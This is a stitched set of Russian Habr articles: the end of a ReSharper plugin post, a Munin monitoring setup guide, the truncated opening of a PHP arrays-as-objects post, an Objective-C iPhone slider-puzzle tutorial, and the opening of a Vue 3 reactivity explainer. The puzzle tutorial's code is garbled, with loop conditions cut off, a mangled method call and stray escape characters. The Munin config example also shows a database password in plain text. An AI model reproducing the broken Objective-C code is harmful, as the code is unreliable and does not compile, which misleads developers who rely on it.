> () => project.AddModuleReference(assemblyFile.Assembly),
>
>
> cookie);
>
>
> }`
Код выше удалось написать только с помощью члена команды JetBrains ([planerist](https://habrahabr.ru/users/planerist/) – спасибо!), т.к. у меня у самого не хватило усидчивости чтобы найти правильный способ.
### Заключение
Не знаю сколько я сэкономил времени путем реализации этого функционала, но головной боли в стиле «сидим ждем Add Reference» точно стало меньше. И компоновать проекты с моим любимым набором сборок (DI, Mocks, validation, utilities, etc.) стало намного проще. ■ | https://habr.com/ru/post/75831/ | null | ru | null |
# Munin — рисуем красивые графики
В данной статье рассматривается такой инструмент мониторинга, как Munin. Странно, но поиск уверяет меня, что статьи о нем на Хабре еще не было. Этот инструмент существует под \*NIX (Linux, xBSD, Solaris) и Windows и позволяет централизовано отслеживать и наглядно отображать состояние подшефных систем. Изначально используется для отрисовки графиков, но также его можно использовать как чистое средство для наблюдения. Большой плюс Munin — гибкость (все графики рисуются плагинами, активными на целевых системах, и никто не запрещает использовать только те плагины, которые нужны) и возможность с одного сервера собирать информацию о множестве других. Соответственно, нагрузка на наблюдаемом сервере минимальна. Интересно? Добро пожаловать под кат
Что?
----
Munin — достаточно не новая система, развившаяся на популярном среди администраторов средстве отрисовки графиков RRDTool. Напомню, что идеология RRDTool состоит в хранении данных по «карусельному» типу — при заполнении базы фиксированного размера RRDTool начинает затирать данные с хвоста базы (то есть со старых) к голове (к новым), что гарантирует потерю минимального количества полезных данных, но при этом позволяет базе не распухать до безумных размеров (как у HP OpenView или Zabbix). Обычно в базе RRDTool есть несколько каруселей — например «мгновенные данные» (хранятся неделю), среднее за 5 минут (генерируется на основе мгновенных данных, хранятся месяц) и средние за час (генерируются на основе 5минутных, хранятся год. Такая база весит всего несколько мегабайт, и в размерах никогда не меняется (если данных в базе нет, в хвосте карусели просто стоят нули, слоты в базе под данные создаются сразу все). Минус RRDTool в его же плюсе. Нужно очень внимательно расчитывать емкость базы, потому что отредактировать созданную базу уже невозможно, и вытащить данные с целью перенести в другую базу (аналог DUMP в SQL базах) — тоже. Кроме того, RRDTool отвечает только за **хранение** данных, а их ведь еще откуда-то надо брать… Изначально админы использовали для этого самописные скрипты «на чем печень возжелает», традиционно первые места занимали всесущий Bash и мозголомный Perl (в последнем даже присуствует расширение для работы с RRD, остальные языки вынуждены использовать «подпорки» в виде вызова rrdtool прямиком из командной строки). Скрипты у всех были разные, качество кода и оптимизация работы таких скриптов гуляла в широчайших пределах. Сам я, на самой заре своей админской карьеры, писал подобные скрипты, причем писал «в лоб», простенький скрипт на пяток параметров мог выполнятся несколько секунд. Разумеется, в случае, когда возникает потребность (в инструменте удобного рисования графиков) — возникает и инструмент. Именно таким инструментом стал проект Munin.
### Обзор и архитектура
Munin состоит из двух раздельных частей. Первая — это сервер (собственно, munin) — он опрашивает клиентов, хранит базу и рисует графики. Вторая — клиент (munin-node). Соединение с клиентом всегда инициирует сервер (он запускается по cron). При запуске сервер читает конфиг со списком адресов клиентов, обращается к каждому клиенту (порт — 4949/tcp), получает список возможных параметров, после чего — по списку — значения параметров. Полученые данные загружаются в RRD-файлы (если таковых нет — сервер их создаст). Рисованием готовых графиков ведает отдельный процесс, который хоть и входит в пакет munin, но живет совершенно самостоятельной жизнью.
В отличае от сервера, клиент — это постоянно находящийся в памяти демон. Написан он, как и сервер, на чистом perl. К слову сказать, единственный способ авторизации — IP, с которого инициируется соединение. Шифрования там также никакого, так что светить демона не советую, firewall и внимательную настройку конфига никто не отменял. Интересный факт, но сам демон ничего не знает о системе, в которой находится. Данные, которые клиент отдает серверу, он получает от плагинов-программ, которые последовательно запускает. За счет этого оптимизируется нагрузка на сервер (всегда можно оставить только те плагины, которые нужны), и вместе с тем — уменьшается время простоя демона, который уже не должен мучительно выдумывать параметры, которых в данной конкретной системе отродясь не бывало.
Как
---
### Установка и диагностика
Как я уже упомниал выше, munin состоит из двух пакетов. Ставятся они тривиально, но нужно быть готовым к тому, что munin (сервер) потащит за собой немалую гору пакетов, отвечающих за RRD и графику (GD). Если мониторить надо один сервер — надо ставить оба пакета (пример для debian):
`apt-get install munin munin-node
....`
В отличае от monit, munin не может выполнять никаких действий в системе (кроме сбора статистики), как следствие — его можно запускать сразу после установки. В Debian GNU/Linux и CentOS демон запускается сам:
`lab:~# ps ax | grep muni
16139 ? Ss 0:00 /usr/sbin/munin-node`
Активация плагинов сделана также просто и незатейливо — в папке с настройками munin (в linux это /etc/munin, а во freebsd — /usr/local/etc/munin) есть папка plugins. Все плагины, присутствующие в папке на момент запуска munin-node считаются активными. Если присутствующий плагин по какой-то причине отказывается работать (например, плагин сбора данных о MySQL при остановленом сервисе mysqld) — node вернет 0 при попытке получения информации из плагина.
На самом деле, все доступные плагины лежат обычно в другом месте, а в эту папку сложены симлинки.
Вот пример:
`lab:~# ls -al /etc/munin/plugins/
total 2
drwxr-xr-x 2 root root 1024 2009-06-21 15:31 .
drwxr-xr-x 5 root root 1024 2010-02-11 23:35 ..
lrwxrwxrwx 1 root root 29 2009-05-19 16:39 acpi -> /usr/share/munin/plugins/acpi
lrwxrwxrwx 1 root root 28 2009-03-22 22:51 cpu -> /usr/share/munin/plugins/cpu
lrwxrwxrwx 1 root root 27 2009-03-22 22:51 df -> /usr/share/munin/plugins/df
lrwxrwxrwx 1 root root 33 2009-03-22 22:51 df_inode -> /usr/share/munin/plugins/df_inode
...`
Изначально с munin поставляется немалое количество плагинов (обращаю внимание — активны не все!), кроме того, есть сайты, где также выложены плагины. Кроме того, существует руководство по написанию плагинов самостоятельно, но эта тема уже заметно выходит за рамки статьи.
Некоторые плагины поддерживают аргументы вызова. Вот яркий пример:
Реальные файл плагина
`-rwxr-xr-x 1 root root 4775 2009-11-25 13:38 if_
-rwxr-xr-x 1 root root 3164 2009-11-25 13:38 if_err_`
А вот что лежит в конфигурационной директории:
`lab:~# ls -al /etc/munin/plugins/ | grep if
lrwxrwxrwx 1 root root 32 2009-03-22 22:51 if_err_eth0 -> /usr/share/munin/plugins/if_err_
lrwxrwxrwx 1 root root 32 2009-03-22 22:51 if_err_eth1 -> /usr/share/munin/plugins/if_err_
lrwxrwxrwx 1 root root 28 2009-03-22 22:51 if_eth0 -> /usr/share/munin/plugins/if_
lrwxrwxrwx 1 root root 28 2009-03-22 22:51 if_eth1 -> /usr/share/munin/plugins/if_
lrwxrwxrwx 1 root root 28 2009-06-21 15:31 if_tun0 -> /usr/share/munin/plugins/if_`
Без аргументов подобные плагины вызывать бесполезно — они не будут понимать, чего от них хотят.
Некоторые плагины поддерживают дополнительные настройки. Например, для плагина, собирающего информацию о MySQL можно задать логин и пароль для входа на сервер. Подобные настройки munin хранит в файле {confdir}/plugin-conf.d/munin-node.
Файл довольно подробно прокомментирован, но я, на всякий случай, приведу тут пару примеров:
`#информация для плагина APT
[apt]
#запускать от имени root. В противном случае APT не запускается
user root
#информация для всех плагинов множества smart_, эти плагины вызываются по принципу smart_{DISK}
[smart_*]
#опять же, только root сможет прочитать параметры из smartctl
user root
#информация для плагина postgres_queries, база mngsearch
[postgres_queries_mngsearch]
#env.{имя} у каждого плагина могут быть своими. Подробно надо смотреть в source-коде плагина
#в данном примере мы задаем имя пользователя и пароль для получения данных о работе базы mngsearch
env.PGUSER mngsearch
env.PGPASSWORD Yn2ajPV4f6V5rzqj`
Как можно убедится из примера выше, синтаксис файла очень несложный.
### пошаговые инструкции
Сворачиваем растекание мыслью по древу. Теперь — четкие и понятные пошаговые инструкции.
Установка пакетов производится средствами ОС, собирать их из SRC не советую. Рассмотрим ситуацию, когда наблюдатель и наблюдаемый — физически одна машина.
Для начала настроим клиент:
`vi /etc/munin/munin-node.conf
...
log_level 4
#"говорливость" munin в журнале. 10 - режим отладки, 1 - полная тишина
log_file /var/log/munin/munin-node.log
#путь к журналу. Должен уже существовать
pid_file /var/run/munin/munin-node.pid
#pid-file, менять без необходимости не советую
background 1
#режим демона. Для отладки ставим 0 - и нод будет вечно висеть на консоли
setseid 1
user root
group root
#имя владельца процесса. Если это НЕ root, у него должны быть права на получение ID каждого имени пользователя, от имени которых запускается плагин проверки
#лучше пусть root и остается
setsid yes
#выставлять ID пользователя для каждого плагина. Трогать не советую
allow ^127\.0\.0\.1$
#с какого IP придет запрос сервера. В нашем случае - 127.0.0.1
#обращаю ваше внимание на то, что это не просто числа, а регулярное выражение (RegExp).
host 127.0.0.1
#к какому IP привязывать демон. В данном примере - к 127.0.0.1
port 4949
#соовтвественно, порт.`
Изменение конфига или списка плагинов требует перезапуска демона. При изменении списка плагинов нужно именно перезапускать демона, kill -HUP в данной ситуации не поможет.
Проверяем работу демона:
`lab:/etc/munin# telnet 127.0.0.1 4949
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
# munin node at lab.local.logan
list
open_inodes ip_127.0.0.1 postgres_queries_mngsearch irqstats
if_eth0 squid_cache sensors_temp df tor_connections swap
load cpu df_inode smart_hda forks iostat sensors_fan open_files
memory postgres_queries_netams exim_mailqueue vmstat sensors_volt
if_err_eth0 entropy processes acpi interrupts mysql_bytes if_tun0 if_err_eth1
if_eth1 tor_traffic exim_mailstats
fetch ip_127.0.0.1
in.value 83599135
out.value 83599135
.
quit
Connection closed by foreign host.`
Командной list мы получили список активных плагинов, командой fetch — получили данные из одного плагина. Демон мониторинга ведет себя точно также, что позволяет с высокой степенью достоверности убедится в правильности работы клиента-нода.
Теперь переходим к серверу. В отличае от клиента (нода) — сервер не существует как процесс, он запускается только в моменты получения данных и рисования графиков (и то не всегда, этот вопрос будет рассмотрен ниже)
В списке процессов выглядит это вот так:
`lab:~# ps ax | grep muni
16139 ? Ss 0:00 /usr/sbin/munin-node
17841 ? Ss 0:00 /bin/sh -c if [ -x /usr/bin/munin-cron ]; then /usr/bin/munin-cron; fi
17842 ? S 0:00 /bin/sh /usr/bin/munin-cron
17843 ? S 0:00 /usr/bin/perl -w /usr/share/munin/munin-update
17846 ? S 0:00 /usr/share/munin/munin-update [r1sz.zooclub.ru]
17847 ? S 0:00 /usr/share/munin/munin-update [web1.zooclub.ru]
17848 ? S 0:00 /usr/share/munin/munin-update [monitor-01.infobox.ru]
17849 ? S 0:00 /usr/share/munin/munin-update [stat.kpp.ru]
17851 ? S 0:00 /usr/share/munin/munin-update [ro2-h.local]
17852 ? S 0:00 /usr/share/munin/munin-update [ro1-h.local]
17853 ? S 0:00 /usr/sbin/munin-node
17859 ? Rs 0:00 /usr/bin/perl /etc/munin/plugins/postgres_queries_mngsearch config`
Настройки демона находятся в файле {config}/munin.conf
Он также очень подробно откомментирван, и ниже я приведу минимальный работоспособный пример.
`dbdir /home/db/monitor
#место, где хранятся RRD. Путь должен существовать, а rrd демон создаст сам
htmldir /home/www/mon
#куда выкладывать готовые графики
logdir /var/log/munin
#где лежат логи
rundir /var/run/munin
#Описания серверов
[lab.local]
address 127.0.0.1
use_node_name yes
#эта директива нужна, на страничке с графиками отображалось имя узла, а не его адрес.
[midori.local]
#другой сервер, в той же группе
address 10.9.8.7
use_node_name yes
[web2.zooclub.ru]
#сервер в другой группе
address 77.221.150.98
use_node_name yes
contact.logan.command mail -s "Munin notification" logan@mydomain.my
#слать сообщения об ошибках. Информацию об ошибке сервер принимает от клиента. Изменение статуса (ОК<->ОШИБКА) будет сопровождатся письмом
#graph_strategy cgi
#можно использовать CGI для отрисовки графиков вместо отрисовки по крону. Это уменьшает нагрузку на сервер, если графики смотрят редко.
#Если графики смотрят часто (или много народу) - вы уложите сервер.`
Указаных выше настроек вполне хватит для нормальной работы. Более подробно эти настройки указаны в документации, но ждать многого от munin не надо — это полезный, но очень простой и ограниченый инструмент.
UPD: По заявкам трудящихся добавлены картинки уже установленого munin
Список хостов в наблюдении:
Примеры графиков:
 | https://habr.com/ru/post/83958/ | null | ru | null |
# Делаем из массивов объекты
PHP содержит очень мощный инструмент — массивы. Половина функций в PHP возвращает результат как ассоциативные массивы. При работе с такими функциями легко допустить ошибки в именовании ключей массива. Понятно что для опытного разработчика это не составляет проблем, но для начинающих это частенько может стать головной болью, особенно если мы получаем огромный json или просто правим ~~legasy~~legacy код, ну а для не программистов… (таких как я) может послужить генератором ~~говно~~страшного кода.
Тут приведу некий трюк, который позволяет использовать массив как объект/коллекцию. Возможно кому то это покажется глупым, а кому то даст идеи для применения.
Сразу оговорюсь что реализация рабочая для PHPStorm, в других IDE нужно вам проверять.
Часть примеров будет взята с потолка, часть будет взята из Instagram api.
Сначала примеры.
#### Примеры
##### Пример 1. Работаем с данными формы.
Мы имеем форму:
```
clientID:
ClientSecret:
Tag:
| |
``` | https://habr.com/ru/post/228805/ | null | ru | null |
# Создаем пазл для iPhone
Почему бы не представить в магазине приложений свой собственный пазл — как это сделали мы! В этом уроке я поэтапно расскажу о создании такого приложения. Итоговый результат будет выглядеть примерно так, как на фото. Чашку с кофе — и можно приступать.
Как настоящие программисты, для начала остановимся на том, что такое **slider puzzle** и как его реализовать. Наверное, все помнят детскую игру «пятнашки», где фишки с цифрами нужно было выстроить по порядку. В нашем случае это будут разрозненные фрагменты изображения, которые собираются в единое целое (их на один меньше, чтобы кусочки можно было перемещать). Теперь подумаем, что понадобится, чтобы воплотить такой проект в жизнь.
Для начала потребуется изображение, которое мы разделим на фрагменты. Разместим их в беспорядке, чтобы после снова собрать. Правда перед этим нужно как-то запомнить, где должен находиться тот или иной фрагмент. Для этого введем новый класс, который будет содержать как оригинальное, так и текущее положение каждого фрагмента в матрице (под матрицей понимается сетка, на которой формируется рисунок). Так мы сможем определить, собрал пользователь пазл или нет (сравнив для каждого фрагмента текущее положение с исходным). Следующая задача — определить разрешенные перемещения. Для этой цели заменим один из фрагментов пустым. На его место разрешается передвинуть соседний фрагмент. Ну вот, в принципе, и все. Если я что-то упустил, разберемся по ходу дела.
Итак, перечислим все, что необходимо сделать:
* разбить изображение;
* привязать каждую часть изображения к определенному фрагменту пазла (отвечающему за хранение его исходной и текущей позиции);
* перемешать беспорядочно все фрагменты (запускаем n-ный цикл, во время которого случайно выбранный фрагмент перемещается на место пустого);
* фиксируем касание пользователем фрагментов пазла; если перемещение разрешено, меняем местами пустой фрагмент с выбранным и проверяем, вернулось ли изображение к исходному состоянию.
Начнем? Откройте **XCode** и создайте приложение **windows based**. (Здесь я буду останавливаться в основном на логике. Детали по настройкам можно получить, загрузив исходный код либо обратившись к предыдущим урокам).
Как обычно, нам понадобится новый контроллер "**UIViewController**". Создайте его и присвойте соответствующее имя. Теперь отыщите среди своих файлов подходящее изображение (по размерам чуть меньше представления).
Первая задача — разделить изображение на части. Создаем новый метод "**initPuzzle:(NSString \*) imagePath**" — он разобьёт рисунок на отдельные фрагменты. Параллельно добавьте две константы, определяющие общее число фрагментов:
> `#define NUM\_HORIZONTAL\_PIECES 3
>
> #define NUM\_VERTICAL\_PIECES 3
>
>
>
> -(void) initPuzzle:(NSString \*) imagePath{
>
> UIImage \*orgImage = [UIImage imageNamed:imagePath];
>
> if( orgImage == nil ){
>
> return;
>
> }
>
> tileWidth = orgImage.size.width/NUM\_HORIZONTAL\_PIECES;
>
> tileHeight = orgImage.size.height/NUM\_VERTICAL\_PIECES;
>
> for( int x=0; x
> for( int y=0; y
> CGRect frame = CGRectMake(tileWidth\*x, tileHeight\*y,
>
> tileWidth, tileHeight );
>
> CGImageRef tileImageRef = CGImageCreateWithImageInRect( orgImage.CGImage, frame );
>
> UIImage \*tileImage = [UIImage imageWithCGImage:tileImageRef];
>
> UIImageView \*tileImageView = [[UIImageView alloc] initWithImage:tileImage];
>
> tileImageView.frame = frame;
>
> // освобождаем ресурсы
>
> [tileImage release];
>
> CGImageRelease( tileImageRef );
>
> // добавляем к представлению
>
> [self.view insertSubview:tileImageView atIndex:0];
>
> [tileImageView release];
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Запускаем приложение — на экране iPhone появляется изображение, уже поделенное на 9 фрагментов. Это сделал метод "**GFImageCreateWithImageInRect**" (Core Graphics), который принимает ссылку на изображение и прямоугольник, а возвращает ссылку на обрезанное изображение (в данном случае, по форме прямоугольника). Имея ссылку, приступаем к созданию экземпляра "**UIImage**".
Как уже упоминалось выше, для каждого фрагмента запоминается исходная позиция (чтобы определить окончание сборки пазла), а также текущее положение по отношению к сетке. Для этой цели расширим класс "**UIImageView**" и добавим еще два свойства. Дополнительно можно немного раздвинуть фрагменты, чтобы они больше напоминали стандартый пазл, и добавить пустой участок, открыв возможность перемещения.
Для начала внесем в заголовочный файл константы с промежутками вместе с переменными, отвечающими за позиции фрагментов (включая пустой).
В итоге заголовочный файл должен выглядеть примерно так:
> `#define NUM\_HORIZONTAL\_PIECES 3
>
> #define NUM\_VERTICAL\_PIECES 3
>
> #define TILE\_SPACING 4
>
> @interface SliderController : UIViewController {
>
> CGFloat tileWidth;
>
> CGFloat tileHeight;
>
> NSMutableArray \*tiles;
>
> CGPoint blankPosition;
>
> }
>
> @property (nonatomic,retain) NSMutableArray \*tiles;
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Заполнить пробелы в классе реализации предлагаю самостоятельно.
Теперь у нас есть заполнитель для фрагментов и пустого места — можно переходить к отображению отдельного фрагмента. Расширим класс "**UIImageView**" (рассмотренным выше способом) и добавим новые свойства.
> `@interface Tile : UIImageView {
>
> CGPoint originalPosition;
>
> CGPoint currentPosition;
>
> }
>
> @property (nonatomic,readwrite) CGPoint originalPosition;
>
> @property (nonatomic,readwrite) CGPoint currentPosition;
>
> @end
>
>
>
> @implementation Tile
>
> @synthesize originalPosition;
>
> @synthesize currentPosition;
>
> - (void) dealloc
>
> {
>
> [self removeFromSuperview];
>
> [super dealloc];
>
> }
>
> @end
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В комментариях к данному коду упомяну только, что после освобождения объекта мы удаляем его из родительского уровня. Объясняется это тем, что мы имеем дело с массивом фрагментов. Когда мы его отбрасываем (освобождаем), каждый из фрагментов должен удалить себя из представления.
Вернемся к методу "**-(void) initPuzzle:(NSString \*) imagePath**" и внесем ряд корректировок:
* пропускать «пустой» фрагмент;
* к каждому фрагменту добавлять позицию в сетке;
* увеличить расстояние между фрагментами.
> `-(void) initPuzzle:(NSString \*) imagePath{
>
> UIImage \*orgImage = [UIImage imageNamed:imagePath];
>
> if( orgImage == nil ){
>
> return;
>
> }
>
> [self.tiles removeAllObjects];
>
> tileWidth = orgImage.size.width/NUM\_HORIZONTAL\_PIECES;
>
> tileHeight = orgImage.size.height/NUM\_VERTICAL\_PIECES;
>
> blankPosition = CGPointMake( NUM\_HORIZONTAL\_PIECES-1, NUM\_VERTICAL\_PIECES-1 );
>
> for( int x=0; x
> for( int y=0; y
> CGPoint orgPosition = CGPointMake(x,y);
>
> if( blankPosition.x == orgPosition.x && blankPosition.y == orgPosition.y ){
>
> continue;
>
> }
>
> CGRect frame = CGRectMake(tileWidth\*x, tileHeight\*y,
>
> tileWidth, tileHeight );
>
> CGImageRef tileImageRef = CGImageCreateWithImageInRect( orgImage.CGImage, frame );
>
> UIImage \*tileImage = [UIImage imageWithCGImage:tileImageRef];
>
> CGRect tileFrame = CGRectMake((tileWidth+TILE\_SPACING)\*x, (tileHeight+TILE\_SPACING)\*y,
>
> tileWidth, tileHeight );
>
> Tile \*tileImageView = [[Tile alloc] initWithImage:tileImage];
>
> tileImageView.frame = tileFrame;
>
> tileImageView.originalPosition = orgPosition;
>
> tileImageView.currentPosition = orgPosition;
>
> // освобождаем русурсы
>
> [tileImage release];
>
> CGImageRelease( tileImageRef );
>
> [tiles addObject:tileImageView];
>
> // добавляем к представлению
>
> [self.view insertSubview:tileImageView atIndex:0];
>
> [tileImageView release];
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для начала очищаем массив, потом указываем пустую позицию последней в сетке. Для каждого фрагмента создаем описывающую его положение точку, привязывая ее к свойствам "**originalPosition**" и "**currentPosition**". Перед обработкой фрагмента проверяем, соответствует ли его позиция пустому положению. В случае подтверждения пропускаем фрагмент. Чуть не забыл — и добавляем его в массив фрагментов.
Закончив с этим, переходим к следующему этапу проекта. Теперь необходимо беспорядочно разместить фрагменты на экране, чтобы пользователю пришлось поломать голову над тем, как собрать изображение обратно. Запустив **n**-ное количество циклов, будем случайным образом выбирать один из фрагментов рядом с пустым, меняя их местами. Для этого сначала определим разрешенные перемещения, что легко выполнит приведенный ниже фрагмент кода:
> `#define SHUFFLE\_NUMBER 100
>
> typedef enum {
>
> NONE = 0,
>
> UP = 1,
>
> DOWN = 2,
>
> LEFT = 3,
>
> RIGHT = 4
>
> } ShuffleMove;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь заданы **n** (количество случайных перемещения фрагментов) и тип "**enum**", с помощью которого будут различаться разрешенные и некорректные ходы.
Первый метод "**validMove:(Tile \*) tile**" принимает фрагмент и возвращает **enum** "**ShuffleMove**", определяя, может ли перемещаться указанный фрагмент и в каком направлении. Для этого проверяется позиция фрагмента по отношению к пустому. Если указанный фрагмент соседствует с пустым, он может встать на его место.
> `-(ShuffleMove) validMove:(Tile \*) tile{
>
> // пустая точка над текущим фрагментом
>
> if( tile.currentPosition.x == blankPosition.x && tile.currentPosition.y == blankPosition.y+1 ){
>
> return UP;
>
> }
>
> // пустая точка под текущим фрагментом
>
> if( tile.currentPosition.x == blankPosition.x && tile.currentPosition.y == blankPosition.y-1 ){
>
> return DOWN;
>
> }
>
> // пустая точка слева от текущего фрагмента
>
> if( tile.currentPosition.x == blankPosition.x+1 && tile.currentPosition.y == blankPosition.y ){
>
> return LEFT;
>
> }
>
> // пустая точка справа от текущего фрагмента
>
> if( tile.currentPosition.x == blankPosition.x-1 && tile.currentPosition.y == blankPosition.y ){
>
> return RIGHT;
>
> }
>
> return NONE;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Внедряем методы, ответственные за перемещение фрагмента. Их будет два: "**(movePiece:(Tile \*) tile withAnimation:(BOOL) animate)**" определит, в каком направлении может двигаться фрагмент, и передаст задачу собственно перемещения следующему методу — "**movePiece:(Tile \*) tile inDirectionX:(NSInteger) dx inDirectionY:(NSInteger) dy withAnimation:(BOOL) animate)**". Второй из методов рассчитывает разницу в координатах **x** и **y** (в зависимости от того, как именно по отношению к перемещаемому фрагменту расположен пустой) и на основании ее вычисляет новое положение, меняя местами значения "**currentPosition**" и "**blankPosition**". Если "**animate**" является истиной, заключаем параметры положения в операторы анимации.
> `-(void) movePiece:(Tile \*) tile withAnimation:(BOOL) animate{
>
> switch ( [self validMove:tile] ) {
>
> case UP:
>
> [self movePiece:tile
>
> inDirectionX:0 inDirectionY:-1 withAnimation:animate];
>
> break;
>
> case DOWN:
>
> [self movePiece:tile
>
> inDirectionX:0 inDirectionY:1 withAnimation:animate];
>
> break;
>
> case LEFT:
>
> [self movePiece:tile
>
> inDirectionX:-1 inDirectionY:0 withAnimation:animate];
>
> break;
>
> case RIGHT:
>
> [self movePiece:tile
>
> inDirectionX:1 inDirectionY:0 withAnimation:animate];
>
> break;
>
> default:
>
> break;
>
> }
>
> }
>
>
>
> -(void) movePiece:(Tile \*) tile inDirectionX:(NSInteger) dx inDirectionY:(NSInteger) dy withAnimation:(BOOL) animate{
>
> tile.currentPosition = CGPointMake( tile.currentPosition.x+dx,
>
> tile.currentPosition.y+dy);
>
> blankPosition = CGPointMake( blankPosition.x-dx, blankPosition.y-dy );
>
> int x = tile.currentPosition.x;
>
> int y = tile.currentPosition.y;
>
> if( animate ){
>
> [UIView beginAnimations:@"frame" context:nil];
>
> }
>
> tile.frame = CGRectMake((tileWidth+TILE\_SPACING)\*x, (tileHeight+TILE\_SPACING)\*y,
>
> tileWidth, tileHeight );
>
> if( animate ){
>
> [UIView commitAnimations];
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Последним шагом создаем метод "**shuffle**", который, как уже упоминалось выше, будет выполнять цикл количество раз, соответствующее "**SHUFFLE\_NUMBER**", хаотично перемещая фрагменты, для которых разрешено движение.
> `-(void) shuffle{
>
> NSMutableArray \*validMoves = [[NSMutableArray alloc] init];
>
> srandom(time(NULL));
>
> for( int i=0; i
> [validMoves removeAllObjects];
>
> // выясняем, какие фрагменты могут перемещаться
>
> for( Tile \*t in tiles ){
>
> if( [self validMove:t] != NONE ){
>
> [validMoves addObject:t];
>
> }
>
> }
>
> // случайным образом выбираем фрагмент для перемещения
>
> NSInteger pick = random()%[validMoves count];
>
> //NSLog(@"shuffleRandom using pick: %d from array of size %d", pick, [validMoves count]);
>
> [self movePiece Tile \*)[validMoves objectAtIndex:pick] withAnimation:NO];
>
> }
>
> [validMoves release];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Ничего нового — делаем то, что и намечали. Для выбора разрешенного к перемещению фрагмента циклически перемещаемся между всеми, занося в массив те, что могут двигаться. Рассмотрев все фрагменты, случайным образом выбираем один и сдвигаем.
Осталось только вызвать нужный метод. К нижней части метода "**initPuzzle(NSString \*) imagePath**" добавьте следующую строку:
> `[self shuffle];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
ОК. Теперь наши фрагменты отображаются на экране, причем в беспорядке. Осталось добавить интерактивности, чтобы пользователь мог их перемещать. Для этого зафиксируем касание и определим фрагмент, который нажал пользователь. Если фрагмент разрешен к перемещению, двигаем его.
Для начала внедрим вспомогательный метод, который будет возвращать привязанный к касанию пользователя фрагмент.
> `-(Tile \*) getPieceAtPoint:(CGPoint) point{
>
> CGRect touchRect = CGRectMake(point.x, point.y, 1.0, 1.0);
>
> for( Tile \*t in tiles ){
>
> if( CGRectIntersectsRect(t.frame, touchRect) ){
>
> return t;
>
> }
>
> }
>
> return nil;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь, располагая информацией по касанию, определим, на каком фрагменте щелкнул пользователь. Отменяем метод "**touchesEnded**" и перемещаем выбранный фрагмент.
> `- (void)touchesEnded:(NSSet \*)touches withEvent:(UIEvent \*)event {
>
> UITouch \*touch = [touches anyObject];
>
> CGPoint currentTouch = [touch locationInView:self.view];
>
> Tile \*t = [self getPieceAtPoint:currentTouch];
>
> if( t != nil ){
>
> [self movePiece:t withAnimation:YES];
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот и все — перед вами собственный пазл. Само собой, еще нужно определить момент окончания игры. Добавьте к коду приведенный ниже метод и обращайтесь к нему каждый раз, когда метод "**touchesEnded**" перемещает фрагмент.
> `-(BOOL) puzzleCompleted{
>
> for( Tile \*t in tiles ){
>
> if( t.originalPosition.x != t.currentPosition.x || t.originalPosition.y != t.currentPosition.y ){
>
> return NO;
>
> }
>
> }
>
> return YES;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Остальное оставляю вам. Те, кому заканчивать лень, могут просто загрузить исходный код. :) Спасибо за внимание.
Исходный код к уроку можно скачать [**здесь**](http://www.playingwithcode.com/projects/misc/SliderPuzzleDemo.zip). | https://habr.com/ru/post/68693/ | null | ru | null |
# Реактивность в Vue
Привет, Хабр! Меня зовут Карамушко Александр. Я работаю frontend-разработчиком в компании Nord Clan.
Из [предыдущей статьи](https://habr.com/ru/company/nordclan/blog/699356/) мы уже знаем как происходит первичный рендеринг компонента. Однако, теперь мы зададимся вопросом: как Vue отследит то, что изменилось состояние компонента и сделает последующий перерендеринг, иначе, как работает реактивность в Vue?
Хоть сами разработчики Vue [немного приподнимают вуаль](https://vuejs.org/guide/extras/reactivity-in-depth.html), за которой скрыта работа реактивности, но приподнята она не настолько, чтобы получить более полную картину.
Давайте исследуем этот вопрос поступательно, так как процесс обновления компонента довольно-таки обширен. И начнем мы с рассмотрения того, как Vue «подготавливает почву» для последующих обновлений.
Стоит сразу отметить, что работа реактивности как во Vue, так и в других библиотеках и фрейворках, обширна, и данная статья несет больше обзорный характер, чтобы раскрыть основную суть работы реактивности.
В качестве отправной точки будет использован следующий пример – обычный компонент-счетчик из предыдущих статей:
```
Vue
.createApp({
data: () => ({
dynamic: 1
}),
template: `
foo
bar
{{ dynamic }}
increment
`,
})
.mount('#app')
```
Также этот компонент будет немного модифицирован в дальнейшем, а именно переписан на Composition API с целью более подробного раскрытия подробностей обновления состояния.
### Создание proxy-обертки над instance.ctx
Все начинается еще на этапе компиляции шаблона, которая запускается в mountComponent.
Как помним, функция mountComponent делает три вещи: создает начальный instance компонента, компилирует шаблон и создает render-функцию, а далее производит рендеринг, вызывая render-функцию и patch на ее результате:
```
const mountComponent: MountComponentFn = (
initialVNode,
container,
) => {
// создание начального instance компонента
const instance: ComponentInternalInstance = (
initialVNode.component = createComponentInstance(initialVNode)
)
// компиляция и оптимизация произойдет здесь
setupComponent(instance)
// а здесь произойдет рендеринг
setupRenderEffect(
instance,
container,
)
}
```
setupComponent (отмечен красным как инициатор последующих процессов) помимо компиляции и оптимизации создает proxy-обертку над instance.ctx и состоянием data:
Оборачивание instance.ctx и $data в proxy в функции setupComponentproxy-обертка для data создается с помощью функции reactive:
```
instance.data = reactive(data)
```
Функция reactive попросту создает новый proxy-объект из data, на который устанавливает обработчики на ловушки set, get, has, ownKeys, defineProperty:
```
const mutableHandlers: ProxyHandler = {
get,
set,
deleteProperty,
has,
ownKeys
}
const proxy = new Proxy(
target,
mutableHandlers
)
```
Теперь при изменении или обращении к свойству data.dynamic будут срабатывать proxy-ловушки set и get соответственно.
Проблема реактивности в Vue 2*Кстати, возможно вы помните, что в Vue 2 есть проблема с реактивностью при переназначении или добавлении свойств в массиве?*
*Например, если в data есть массив names и мы в каком-то методе пытаемся сделать «this.names[0] = // …», то отображение не будет реагировать на эти изменения.*
*Proxy решает эту проблему, так как может отслеживать такие изменения, в то время как дескриптор Object.defineProperty с get- и set- методами в Vue 2 не реагирует на них.*
